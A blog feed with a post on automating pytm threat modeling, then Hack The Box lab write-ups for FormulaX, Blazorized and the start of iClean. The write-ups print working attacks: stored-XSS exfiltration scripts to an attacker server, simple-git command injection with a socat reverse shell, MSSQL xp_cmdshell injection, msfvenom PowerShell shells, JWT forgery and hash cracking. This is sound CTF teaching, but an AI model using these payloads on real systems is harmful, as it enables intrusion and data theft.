<![CDATA[null]]>inesmartins.github.io/inesmartins.github.io/favicon.pngnullinesmartins.github.io/Ghost 4.7Fri, 15 Nov 2024 11:26:08 GMT60<![CDATA[Automatic Threat Modeling with pytm and Github Actions]]>pytm is a OWASP tool that integrates with a custom GPT to make the threat modeling process quicker and more automated.

I've developed a custom Github Action that, on every Pull Request event, generates or updates a Threat Model report, based on changes to the Python files generated

]]>
inesmartins.github.io/automate-threat-modeling-with-pytm-and-github-actions/6735dda89c0cf30ff24e2f75Thu, 14 Nov 2024 11:48:58 GMT

pytm is a OWASP tool that integrates with a custom GPT to make the threat modeling process quicker and more automated.

I've developed a custom Github Action that, on every Pull Request event, generates or updates a Threat Model report, based on changes to the Python files generated using the GPT.

In order to use it, you need a Github repository with the following structure:

  • a /models directory, where you're going to keep the Python files;
  • a /reports directory, where the reports are going to be stored;
  • a pytm_template directory, which should contain your template.md and styles.css files (you can find basic examples here).

The Action works as follows:

  • every time you create or update a PR with any changes to the Python files in the  /models directory, pytm scans the modified files and generates a Data Flow Diagram (DFD) and HTML report for each one;
  • for each new HTML report, the tool generates a PDF file;
  • both the DFD and the PDF files are added to a /reports/{filename}/ directory;
  • everything in the /reports/ directory is immediately pushed to the main branch, so you can review these artefacts.

You can find this Github Action below:

]]>
<![CDATA[HTB Write-up | FormulaX (user-only)]]>inesmartins.github.io/htb-writeup-formulax/65fdb5b25c3d904d3825d752Wed, 13 Nov 2024 13:31:33 GMT

Retired machine can be found here.


Let's start with some basic enumeration:

~ nmap -F 10.10.11.6

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

There's a web application running on port 80:

HTB Write-up | FormulaX (user-only)
http://10.10.11.6/static/index.html

The source code discloses a couple authenticated routes, which may be useful in the future:

if (response.data.Status == "success") {
	//redirect to the home page
	localStorage.setItem("logged_in", "true");
	window.location.href = `/restricted/home.html`;
} else if (response.data.Status == "admin") {
	localStorage.setItem("logged_in", "admin");
	window.location.href = `/admin/admin.html`;
}
http://10.10.11.6/static/index.html

We can register a new account:

HTB Write-up | FormulaX (user-only)
http://10.10.11.6/static/register.html
HTB Write-up | FormulaX (user-only)
http://10.10.11.6/restricted/home.html

Interacting with the Chatbot

HTB Write-up | FormulaX (user-only)
http://10.10.11.6/restricted/chat.html

The chatbot is very limited. According to the output of the help command we should only be able to execute the history command and "ask random questions":

HTB Write-up | FormulaX (user-only)
http://10.10.11.6/restricted/chat.html

It looks like the history command only displays the commands previously sent by our user:

HTB Write-up | FormulaX (user-only)
http://10.10.11.6/restricted/chat.html

Under the hood, here is how this chatbot seems to work:

Step 1 - HTML page and resources are loaded

The /restricted/chat.html page loads the following scripts:

<script src="/scripts/axios.min.js"></script>
<script src="/socket.io/socket.io.js"></script>
<script src="./chat.js"></script>

Both the Axios and the Socket.IO scripts are common libraries: the first is used to manage http requests while the second helps with socket connections.

The chat.js script contains the "custom" logic for this page.

Step 2 - API endpoint is requested

As shown below, chat.js starts by sending a GET request to /user/api/chat:

let value;
const res = axios.get(`/user/api/chat`);
...

This request simply returns a 200 and the text Chat Room, so at this point I'm not exactly sure how it's being used:

GET /user/api/chat HTTP/1.1
Host: 10.10.11.6
...
Cookie: authorization=Bearer%20eyJ...
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 01 Aug 2024 10:46:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
ETag: W/"9-p4gNjrNhAjU5JKDfjagWi07JjzQ"

Chat Room

Step 3 - Socket connection is established

Next, chat.js establishes the socket connection using the io function:

let value;
const socket = io('/',{withCredentials: true});

The withCredentials option works as follows:

Whether the cross-site requests should be sent including credentials such as cookies, authorization headers or TLS client certificates. Setting withCredentials has no effect on same-site requests.

Step 4 - Incoming messages are displayed on the page

Next, the chat.js script makes sure to display any incoming messages from the server, by setting the innerHTML value of a new div element, which is prone to XSS when there is no sanitisation:

//listening for the messages
socket.on('message', (my_message) => {
  //console.log("Received From Server: " + my_message)
  Show_messages_on_screen_of_Server(my_message)
})

// [...]

const Show_messages_on_screen_of_Server = (value) => {
  const div = document.createElement('div');
  div.classList.add('container')
  div.innerHTML = `  
  <h2>&#129302;  </h2>
    <p>${value}</p>
  `
  document.getElementById('big_container').appendChild(div)
}

Step 5 - Messages typed by the user are sent to the server and sanitised

The messages typed by the user are sent to the server and then, to prevent XSS, they're sanitised with the custom htmlEncode function before being displayed on the screen (also by setting the innerHTML property of a new div element):

const typing_chat = () => {
  value = document.getElementById('user_message').value
  if (value) {
    // sending the  messages to the server
    socket.emit('client_message', value)
    Show_messages_on_screen_of_Client(value);
    // here we will do out socket things..
    document.getElementById('user_message').value = ""
  }
  else {
    alert("Cannot send Empty Messages");
  }
}

function htmlEncode(str) {
  return String(str).replace(/[^\w. ]/gi, function (c) {
    return '&#' + c.charCodeAt(0) + ';';
  });
}

// send the input to the chat forum
const Show_messages_on_screen_of_Client = (value) => {
  value = htmlEncode(value)
  const div = document.createElement('div');
  div.classList.add('container')
  div.classList.add('darker')
  div.innerHTML = `  
  <h2>&#129302;  </h2>
      <p>${value}</p>
  `
  document.getElementById('big_container').appendChild(div)
}

Custom sanitisation functions are notably prone to error and bypasses, so this is also a good place to start.

Trying to achieve XSS on the Chatbot

This was a bit of a red-herring.

Since we have access to the history command, I thought the obvious way to go was to send some sort of payload that would be encoded server-side in a way that could be abused to achieve XSS (since server messages are directly embedded in the DOM) but this was not easily achieved.

Also, bypassing the client-side encoding (aka the htmlEncode function) proved to be more tricky than expected.

So, I needed to change my approach.

Exploring the Contact Form

HTB Write-up | FormulaX (user-only)
http://10.10.11.6/restricted/contact_us.html

The contact form has 3 fields which seem to be vulnerable to some sort of persistent XSS which is being triggered by some other user, since the elements are being correctly sanitized before being loaded into our Contact Form page:

POST /user/api/contact_us HTTP/1.1
Host: 10.10.11.6
...
Cookie: authorization=Bearer%20eyJ...

{
    "first_name":"<img src='http://10.10.14.69?src=img'>",
    "last_name":"<script src='http://10.10.14.69?src=script'></script>",
    "message":"<iframe src='http://10.10.14.69?src=iframe'></iframe>"
}

Since only the img and iframe elements trigger the callback, we can also assume that script tags are being filtered somehow:

~ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.6 - - [01/Aug/2024 12:19:08] "GET /?src=iframe HTTP/1.1" 200 -
::ffff:10.10.11.6 - - [01/Aug/2024 12:19:08] "GET /?src=img HTTP/1.1" 200 -

After some tweaking we get the following working XSS payload:

POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 217

service=%3Cimg%20src%3Dx%20onerror%3D%22var%20script1%3Ddocument.createElement%28%27script%27%29%3Bscript1.src%3D%27http%3A//10.10.14.69%3A80/exfil_current_page.js%27%3Bdocument.head.appendChild%28script1%29%3B%22/%3E

Using the Stored XSS to exfiltrate the Chat Messages

Usually with XSS we try to exfiltrate authorisation tokens, but we know that the authorization cookie is defined with the HttpOnly directive set to true, which means it's not accessible by JavaScript.

So, let's start by understanding where this XSS vulnerability is actually being triggered by requesting the current page:

(function () {
    const attackers_ip = '10.10.14.69';
    const flask_api_port = '9000';
    var exfil_data = function(data) {
        encoded_data = encodeURIComponent(data);
        fetch(
            `http://${attackers_ip}:${flask_api_port}/api/exfil?encoding=base64`,
            {
                method: 'POST',
                headers: { "Content-Type": "application/x-www-form-urlencoded" },
                body: "data=" + encoded_data
            }
        );
    }
    var attack = function() {
        try {
            fetch(window.location.href, { credentials: "include" })
            .then(response => response.text())
            .then(data => {
                exfil_data(btoa(window.location.href))
                exfil_data(btoa(data))
                var el = document.createElement('html');
                el.innerHTML = data
                all_scripts = el.getElementsByTagName('script');
                for (var i = 0; i < all_scripts.length; i++) {
                    exfil_data(btoa(all_scripts[i].src))
                    fetch(all_scripts[i].src, { credentials: "include" })
                    .then(response => response.text())
                    .then(page_content => exfil_data(btoa(page_content)));
                }
            })
            .catch(error => fetch(`http://${attackers_ip}?debug=${error.message}`))
        } catch(error) {
            fetch(`http://${attackers_ip}?debug=${error.message}`)
        }
    }
    attack();
}());

As you can see above, the page content is being exfiltrated to a local endpoint, which is being handled by a simple Flask API:

import json
from flask import Flask, request
from flask_cors import CORS
from urllib.parse import unquote
import base64

app = Flask(__name__)
CORS(app)

@app.route('/api/exfil', methods=['POST'])
def exfil():
    print("[+] Received data ")
    encoding = request.args.get('encoding')
    data = request.form.get('data')
    try:
        decoded_data = unquote(unquote(data))
        if encoding is not None and encoding == 'base64':
            print(base64.b64decode(decoded_data))
        else:
            print(decoded_data)
    except Exception as exception:
        print(f'Something went wrong: {exception}')
        return json.dumps({'success':False}), 500, {'ContentType':'application/json'}
    return json.dumps({'success':True}), 200, {'ContentType':'application/json'}

app.run(host='0.0.0.0', port=9000)

It looks like the current page is http://chatbot.htb/admin/admin.html:

HTB Write-up | FormulaX (user-only)
admin.html
const get_messages = () => {
    const value = document.getElementById("search").value
    axios.get(`/user/api/get_messages`).then((response) => {
        try {
            response.data.Message.forEach((message => {
                console.log(message.firstname)
                const div = document.createElement("div");
                div.classList.add("new_container")
                div.innerHTML = `
<div><label style="color: red;" id="firstname">${message.firstname} </label></div>
<div><label style="color: red;" id="lastname"> ${message.lastname}</label></div>
<div><label style="color: red;" id="message"> ${message.message}</label></div>
                `
              document.getElementById("big_container").appendChild(div)
            }))
        } catch (err) {
            document.getElementById("error").innerHTML = response.data.Status
        }
    }
}
admin.js

It seems like the /user/api/get_messages request is responsible for fetching all of the messages submitted via the contact form and embedding them directly into the DOM, which is why we have the XSS.

Let's see if there are any other interesting messages:

(function () {
    const attackers_ip = '10.10.14.69';
    const flask_api_port = '9000';
    var exfil_data = function(data) {
        // ...
    }
    var attack = function() {
        try {
            fetch(`/user/api/get_messages`, { credentials: "include" })
            .then(response => response.text())
            .then(data => exfil_data(btoa(data)))
            .catch(error => fetch(`http://${attackers_ip}?debug=${error.message}`))
        } catch(error) {
            fetch(`http://${attackers_ip}?debug=${error.message}`)
        }
    }
    attack();
}());

Only our previous message shows up.

Let's see if this user has any interesting chat messages in their history by importing the Socket.io script to this Admin page, establishing a new socket connection, sending the history command, and then exfiltrating any messages to our Flask API:

(function () {
	// [...]
    var attack = function() {
        const script = document.createElement('script');
        script.src = '/socket.io/socket.io.js';
        document.head.appendChild(script);
        script.addEventListener('load', function() {
            const res = axios.get(`/user/api/chat`);
            const socket = io('/', { withCredentials: true });
            socket.on('message', (my_message) => exfil_data(btoa(my_message)));
            socket.emit('client_message', 'history');
        });
    }
    attack();
}());

The result is the following:

Greetings!. How can i help you today ?. You can type help to see some buildin commands

Hello, I am Admin.Testing the Chat Application

Write a script for  dev-git-auto-update.chatbot.htb to work properly

Write a script to automate the auto-update

Message Sent:<br>history

Let’s map out the new domains:

sudo nano /etc/hosts

# htb
10.10.11.6 chatbot.htb
10.10.11.6 dev-git-auto-update.chatbot.htb

Exploring the Git Auto Report Generator

HTB Write-up | FormulaX (user-only)
http://dev-git-auto-update.chatbot.htb/

We can see that this feature was built using simple-git v3.14.

The simple-git NPM package is "a lightweight interface for running git commands in any node.js application."

We can see in the source code of the index.js script that any value we enter in the input box is sent via POST request to the clone endpoint and the response is again embedded into the DOM directly, without sanitization.

const handleRequest = () => {
    document.getElementById('error').innerHTML = "Loading...";
    // Get the element
    const value = document.getElementById('giturl').value
    console.log(value)
    // Send the post request
    fetch('/clone', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            destinationUrl: value
        })
    })
        .then(response => { return response.json() }).then(response => {
            if (response.response != 'Error: Failed to Clone')
                document.getElementById('error').innerHTML = `<a href="${(response.response)}" download>Download File</a>`
            else
                document.getElementById('error').innerHTML = response.response

        })
        .catch(err => {
            document.getElementById('error').innerHTML = err
        })
        
}

However, we're not interested in XSS at this point, we want to be able to execute commands directly on the machine, so we need to focus on exploiting this endpoint:

POST /clone HTTP/1.1
Host: dev-git-auto-update.chatbot.htb
Content-Type: application/json

{"destinationUrl":"http://10.10.14.69:9000"}
~ python3 -m http.server 9000

Serving HTTP on :: port 9000 (http://[::]:9000/) ...
::ffff:10.10.11.6 - - [01/Aug/2024 14:29:48] code 404, message File not found
::ffff:10.10.11.6 - - [01/Aug/2024 14:29:48] "GET /info/refs?service=git-upload-pack HTTP/1.1" 404 -

Going through the documentation, it seems like this request is the result of a git fetch or a git fetch-pack being performed by a Git client.

Basically, it's a way for the client to ask a Git server "to send objects missing from this repository, to update the named heads". In response, the server sends "a UNIX formatted text file describing each ref and its known value".
[Source]

However, when we try to respond with the format specified in the documentation, we still get an error:

import json
from flask import Flask
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

@app.route('/info/refs', methods=['GET'])
def handle_git_request():
    headers = {
        'ContentType':'application/x-git-upload-pack-advertisement',
        'Cache-Control': 'no-cache'
    }
    response = '001e# service=git-upload-pack\n'
    response += '004895dcfa3633004da0049d3d0fa03f80589cbcaf31 refs/heads/maint\0multi_ack\n'
    response += '0042d049f6c27a2244e12041955e262a404c7faba355 refs/heads/master\n'
    response += '003c2cb58b79488a98d2721cea644875a8dd0026b115 refs/tags/v1.0\n'
    response += '003fa3c2e2402b99163d1d59756e5f207ae21cccba4c refs/tags/v1.0^{}\n'
    return response, 200, headers

app.run(host='0.0.0.0', port=9000)

We know that simple-git has 2 RCE vulnerabilities that affect version 3.14, one of which (SNYK-JS-SIMPLEGIT-3112221) affects the clone method specifically:

HTB Write-up | FormulaX (user-only)

The clone function accepts the following arguments:

git.clone(repoURL, localPath, options, handlerFn);

We can assume that the destinationUrl we're sending in the POST request is being injected in the repoURL field, so let's try to modify the request to ping a local port:

POST /clone HTTP/1.1
Host: dev-git-auto-update.chatbot.htb
Content-Type: application/json

{"destinationUrl":"ext::sh -c curl% http://10.10.14.69:9000% >&2"}
python3 -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...
::ffff:10.10.11.6 - - [01/Aug/2024 16:49:49] "GET / HTTP/1.1" 200 -

Great, we can send commands to the machine!

Looking further into the documentation that pertains to this "remote helper" (basically, the feature that supports the ext:: syntax) we can see that we can also use socat, so let's try to use that to get a reverse shell:

POST /clone HTTP/1.1
Host: dev-git-auto-update.chatbot.htb
...

{"destinationUrl":"ext::socat TCP:10.10.14.69:4444 EXEC:'sh',pty,stderr,setsid,sigint,sane"}

... and we get a shell!

Let's upgrade it:

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

From foothold to user

$ whoami
www-data

$ ls -la
...
dr-xr-xr-x  9 root     root     4096 Jul 28  2023 app
dr-xr-xr-x  3 root     root     4096 Feb 20 15:50 automation
dr-xr-xr-x  4 root     root     4096 Jul 29  2023 git-auto-update

The app directory contains the source code for the NodeJS web application we just explored, which includes a .env file:

PORT = 8082
URL_DATABASE="mongodb://localhost:27017"
SECRET=ThisIsTheN0deSecret
ADMIN_EMAIL="admin@chatbot.htb"
/var/www/app/.env

We can find more info about the MongoDB configuration in the connect_db.js file:

import mongoose from "mongoose";

const connectDB= async(URL_DATABASE)=>{
    try{
        const DB_OPTIONS={
            dbName : "testing"
        }
        mongoose.connect(URL_DATABASE,DB_OPTIONS)
        console.log("Connected Successfully TO Database")
    } catch(error){
        console.log(`Error Connecting to the ERROR ${error}`);
    }
}
/var/www/app/configuration/connect_db.js

As shown above, we don't need a password to be able to connect to the testing database.

$ netstat -tunpl | grep 27017
tcp     0     0     127.0.0.1:27017     0.0.0.0:*     LISTEN     -

$ which mongo
/usr/bin/mongo

$ /usr/bin/mongo
MongoDB shell version v4.4.29
connecting to: mongodb://127.0.0.1:27017/?
[...]

> show dbs;
admin    0.000GB
config   0.000GB
local    0.000GB
testing  0.000GB

> use testing;
switched to db testing

> show collections;
messages
users

> db.users.find()
{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "admin@chatbot.htb", "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MjI1OTU2NDd9.iwgmNmvtm1s6WYvy4AbElQ1Hz3bvnd6UKkT2pHTntrs", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "frank_dorky@chatbot.htb", "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }

So, we have an encrypted password for the admin user, but this is not super relevant since the unencrypted version is hardcoded in the source code, and we can confirm it's not valid for SSH:

// [...]
await page.goto('http://chatbot.htb/static/index.html', { timeout: 30000 });
// [...]
await page.type('#email', 'admin@chatbot.htb');
await page.type('#password', 'iamnottheadmin$');
// [...]
/var/www/automation/index.js

So this leaves us with the frank_dorky encrypted password:

~ hashcat -a 0 -m 3200 frank_hash.txt rockyou-75.txt --status --status-timer=10 -w 3
~ ssh frank_dorky@chatbot.htb
frank_dorky@chatbot.htb's password:
> manchesterunited

frank_dorky@formulax:~$
]]>
<![CDATA[HTB Write-up | Blazorized (user-only)]]>inesmartins.github.io/htb-writeup-blazorized/66b0ae8a29acb9fd804defc0Wed, 13 Nov 2024 13:30:46 GMT

Retired machine can be found here.


Enumeration

~ nmap -F 10.10.11.22 -Pn

PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
1433/tcp open  ms-sql-s

Port 80 redirects to http://blazorized.htb/, which means this virtual host needs to be mapped in order for us to be able to access the web application.

~ sudo nano /etc/hosts

[...]
10.10.11.22 blazorized.htb

The website is built using Blazor WebAssembly:

HTB Write-up | Blazorized (user-only)
Blazor is a feature of ASP.NET for building interactive web UIs using C# instead of JavaScript. It's real .NET running in the browser on WebAssembly.

It looks like we can temporarily "impersonate" the super admin user:

HTB Write-up | Blazorized (user-only)

This button performs GET requests to http://api.blazorized.htb/posts and http://api.blazorized.htb/categories with an authorization header that contains a bearer token:

authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjpbIlBvc3RzX0dldF9BbGwiLCJDYXRlZ29yaWVzX0dldF9BbGwiXSwiZXhwIjoxNzIyODU2MzAyLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FwaS5ibGF6b3JpemVkLmh0YiJ9.J4bJYYN3EkV-PfFWJ90yAyOFS158LOanNLTduowSPHdYv28W7GQ59zeadaRaCZsyM_cfDH5r_tGXD0Mf43AUwA

At this point, I'm not sure how this token is being generated because it doesn't seem to be retrieved from the API, and it's not hardcoded in any of the resource files, so there's probably some Blazor magic under the hood.

We can use jwt-hack to decode it:

~ jwt-hack decode <the-token>

INFO[0000] Decoded data(claims)

header="{\"alg\":\"HS512\",\"typ\":\"JWT\"}" 
method="&{HS512 SHA-512}"

INFO[0000] Expiraton Time
EXP=1722856302 TIME="1970-01-01 01:00:01.722856302 +0100 CET"

{
    "aud":"http://api.blazorized.htb",
    "exp":1722856302,
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role":[
       "Posts_Get_All",
       "Categories_Get_All"
    ],
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress":"superadmin@blazorized.htb",
    "iss":"http://api.blazorized.htb"
}

We can see that this token was generated for a user with the superadmin@blazorized.htb email, and has the following "claims": Posts_Get_All and Categories_Get_All.

We can also see from the API responses that the posts' content is formatted in Markdown:

{
   "Posts":[
      {
         "ID":"1c391f9c-fd3e-4d86-b966-9a3e5d7e3d28",
         "Title":"Active Directory",
         "MarkdownContent":"Below are links to projects and posts relating AD red-teaming:\r\n\r\n- https://github.com/Group3r/Group3r\r\n- https://github.com/Leo4j/Amnesiac\r\n- https://github.com/JPG0mez/ADCSync\r\n- https://github.com/Processus-Thief/HEKATOMB\r\n- https://github.com/Mazars-Tech/AD_Miner\r\n- https://github.com/AlmondOffSec/PassTheCert\r\n- https://github.com/synacktiv/ntdissector\r\n- https://github.com/Hackndo/pyGPOAbuse\r\n- https://exploit.ph/external-trusts-are-evil.html\r\n- https://github.com/SecuraBV/Timeroast\r\n- https://github.com/SadProcessor/CypherDog\r\n- https://mayfly277.github.io/","CategoryID":"9a445790-f7e8-4351-8cf4-46fcae383eec"},
...
}

This means that the front-end is somehow processing and displaying this Markdown, which may result in stored XSS if we're able to create or manipulate posts or categories:

HTB Write-up | Blazorized (user-only)

This suspicion is further confirmed because the Markdown "playground" is vulnerable to DOM-based XSS:

<img src=x onerror=alert(1) /> 
HTB Write-up | Blazorized (user-only)

However, only the GET method seems to be allowed for /posts and /categories:

HTB Write-up | Blazorized (user-only)

When we try to request a non-existent post ID, we see that all of the application's DLLs and other source files are available under the _framework directory:

http://blazorized.htb/post/1

http://blazorized.htb/_framework/blazor.boot.json
http://blazorized.htb/_framework/Blazored.LocalStorage.dll
http://blazorized.htb/_framework/Blazorized.DigitalGarden.dll
http://blazorized.htb/_framework/Blazorized.Shared.dll
...

Let's download all of these files to a local dir ...

~ wget -i requests.txt

... so we can use the ilspy-vscode extension to decompile the relevant source code.

It looks like the Blazorized.Helpers namespace has a JWT class that contains the logic for the temporary token generation, as well as a new interesting subdomain:

HTB Write-up | Blazorized (user-only)

Note that this application is built with Blazor Server, instead of Blazor WebAssembly:

With the Blazor Server hosting model, components are executed on the server from within an ASP.NET Core app. UI updates, event handling, and JavaScript calls are handled over a SignalR connection using the WebSockets protocol. [...]

It's unlikely, but possible, that the JWT we have is a valid form of authorization for this subdomain.

We can see that there are 2 different "audiences" in the source code: apiAudience and adminDashboardAudience.

We can guess that the temporary token we've previously come across is generated using the following function:

public static string GenerateTemporaryJWT(long expirationDurationInSeconds = 60L)
{
    try
    {
        List<Claim> claims = new List<Claim>
        {
            new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", superAdminEmailClaimValue),
            new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", postsPermissionsClaimValue),
            new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", categoriesPermissionsClaimValue)
        };
        SigningCredentials signingCredentials = GetSigningCredentials();
        DateTime? expires = DateTime.UtcNow.AddSeconds(expirationDurationInSeconds);
        JwtSecurityToken token = new JwtSecurityToken(issuer, apiAudience, claims, null, expires, signingCredentials);
        return new JwtSecurityTokenHandler().WriteToken(token);
    }
    catch (Exception)
    {
        throw;
    }
}

But there is another function, which generates a token for the same email address but for the adminDashboardAudience, and with the superAdminRoleClaimValue claim:

using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Security.Claims;
using Microsoft.IdentityModel.Tokens;

public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
{
    try
    {
        List<Claim> claims = new List<Claim>
        {
            new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", superAdminEmailClaimValue),
            new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", superAdminRoleClaimValue)
        };
        SigningCredentials signingCredentials = GetSigningCredentials();
        DateTime? expires = DateTime.UtcNow.AddSeconds(expirationDurationInSeconds);
        JwtSecurityToken token = new JwtSecurityToken(issuer, adminDashboardAudience, claims, null, expires, signingCredentials);
        return new JwtSecurityTokenHandler().WriteToken(token);
    }
    catch (Exception)
    {
        throw;
    }
}

Let's create a new .NET project, import the relevant DLLs, and try to generate a valid token (we increased the expiration to 600000 seconds, to make testing easier):

using Blazorized.Helpers;

namespace BlazorJWTMock
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Generating super admin token ...");
            Console.WriteLine(JWT.GenerateSuperAdminJWT(600000));
            Console.WriteLine("Done!");
        }
    }
}
BlazorJWTMock/Program.cs
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net7.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <ItemGroup>
    <Reference Include="<PATH-TO-LIBS>/Blazored.LocalStorage.dll" />
    <Reference Include="<PATH-TO-LIBS>/Blazorized.DigitalGarden.dll" />
    <Reference Include="<PATH-TO-LIBS>/Blazorized.Helpers.dll" />
    <Reference Include="<PATH-TO-LIBS>/Microsoft.IdentityModel.Tokens.dll" />
    <Reference Include="<PATH-TO-LIBS>/Microsoft.IdentityModel.JsonWebTokens.dll" />
    <Reference Include="<PATH-TO-LIBS>/System.IdentityModel.Tokens.Jwt.dll" />
  </ItemGroup>
</Project>
BlazorJWTMock/BlazorJWTMock.csproj
~ dotnet run --project BlazorJwtMock/BlazorJwtMock.csproj

Generating admin token ...

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJleHAiOjE3MjI4NzgyNzUsImlzcyI6Imh0dHA6Ly9hcGkuYmxhem9yaXplZC5odGIiLCJhdWQiOiJodHRwOi8vYWRtaW4uYmxhem9yaXplZC5odGIifQ.XUlzWUdD04FGiWCOP_SbsULNGCDVNRmvmSlAAEi2SCJNmUNf9irKVmtvyReIl0tqN8WwcvkrqWxAOO3RMXZONw

Done!

Ok, we have a token, but we're not sure how to use it to authenticate in the admin subdomain.

Even after reversing every DLL that looked relevant, I couldn't find the logic that was responsible for getting or setting this token, so I decided to fuzz this parameter, as recommended in the forum:

HTB Write-up | Blazorized (user-only)

The solution was to add this JWT to the jwt LocalStorage value:

HTB Write-up | Blazorized (user-only)

From Admin to Foothold

We have an obvious clue from the /home page:

To avoid latency issues, this super admin panel does not consume the API but speaks to the database directly.

We can see that the "Check Duplicate" features are vulnerable to SQLi, and we know from the initial nmap scan that we're dealing with a MSSQL database, so let's try to get a request from the victim machine using a stacked query and the EXEC master.dbo.xp_cmdshell command, e.g.:

';EXEC master.dbo.xp_cmdshell 'curl http://10.10.14.91:8000';--
~ python3 -m http.server 8000
::ffff:10.10.11.22 - - [06/Aug/2024 11:58:11] "GET / HTTP/1.1" 200 -

Alright, let's try to trigger a reverse shell:

~ msfvenom -p cmd/windows/reverse_powershell LHOST={local_ip} LPORT={local_port} > revshell.txt

# after cleaning up the revshell.txt file and removing "powershell -w hidden -nop -c"

~ iconv -f ASCII -t UTF-16LE revshell.txt | base64 | tr -d '\n'
JABhAD0AJwAxADAALgAxADAALgAxADQALgA5ADEAJwA7ACQAYgA9ADQANAA0ADQAOwAkAGMAPQBOA...

~ powershell.exe -EncodedCommand JABhAD0AJwAxADAALgAxADAALgAxADQALgA5ADEAJwA7ACQAYgA9ADQANAA0ADQAOwAkAGMAPQBOA...

and we get a shell!

~ nc -l 4444
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
blazorized\nu_1055

C:\Windows\system32> cd Users
C:\Users> dir
02/25/2024  03:41 PM    <DIR>          NU_1055
...

C:\Users>type C:\Users\NU_1055\Desktop\user.txt

We didn't even have to pivot to get the user flag! :)

]]>
<![CDATA[HTB Write-up | iClean (user-only)]]>inesmartins.github.io/htb-writeup-iclean/66acd79382fc3c3df851727bSun, 04 Aug 2024 14:31:06 GMT

Retired machine can be found here.


Let's start with a basic scan:

~ nmap -F 10.10.11.12

22/tcp open  ssh
80/tcp open  http

10.10.11.12 redirects to capiclean.htb, so let's map out this domain.

~ sudo nano /etc/hosts

10.10.11.12 capiclean.htb
HTB Write-up | iClean (user-only)
http://capiclean.htb/

The login page is very simple:

HTB Write-up | iClean (user-only)
POST /login HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin

From the "Team" page we can see the names of at least some of the cleaners.

HTB Write-up | iClean (user-only)

Let's see if we can get a different server response when trying to log in with any of these users:

https://github.com/urbanadventurer/username-anarchy

~ username-anarchy mary pikes
~ username-anarchy mary pikes --suffix capiclean.htb
~ username-anarchy martha smith
~ username-anarchy martha smith --suffix capiclean.htb
~ username-anarchy jasmine summers
~ username-anarchy jasmine summers --suffix capiclean.htb
~ username-anarchy mike samuels
~ username-anarchy mike samuels --suffix capiclean.htb

All of the above return a generic error message, and there is no consistent time difference in the response.

Directory enumeration with gobuster didn't find much except a dashboard page, which likely requires authentication.

~ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-big.txt

